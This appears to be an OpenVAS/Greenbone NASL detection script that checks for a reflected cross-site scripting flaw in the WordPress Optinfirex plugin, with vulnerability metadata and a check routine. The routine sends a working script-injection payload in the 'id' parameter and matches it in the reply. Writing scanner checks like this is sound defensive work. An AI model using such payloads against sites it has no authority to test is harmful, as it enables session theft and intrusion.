The WordPress plugin
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:wordpress:wordpress";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.903503");
script_version("2023-10-27T05:05:28+0000");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
script_tag(name:"creation_date", value:"2013-11-28 11:48:09 +0530 (Thu, 28 Nov 2013)");
script_name("WordPress Optinfirex Plugin XSS Vulnerability");
script_tag(name:"summary", value:"The WordPress plugin 'Optinfirex' is prone to a cross-site scripting (XSS) vulnerability.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check whether it is able to read the
cookie or not.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"insight", value:"Flaw is due to improper validation of user-supplied input passed to 'id'
parameter in 'wp-content/plugins/optinfirex/lp/index.php' page.");
script_tag(name:"affected", value:"WordPress Optinfirex Plugin is affected.");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
script code in a user's browser session in the context of an affected site.");
script_tag(name:"solution_type", value:"WillNotFix");
script_xref(name:"URL", value:"http://packetstormsecurity.com/files/124188");
script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/wordpress-optinfirex-cross-site-scripting");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_analysis");
script_copyright("Copyright (C) 2013 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_wordpress_http_detect.nasl");
script_mandatory_keys("wordpress/http/detected");
script_require_ports("Services/www", 80);
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
url = dir + '/wp-content/plugins/optinfirex/lp/index.php?' +
'id="/><script>alert(document.cookie);</script>';
if(http_vuln_check(port:port, url:url, check_header:TRUE,
pattern:"<script>alert\(document\.cookie\);</script>",
extra_check:"Signing Up!<"))
{
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}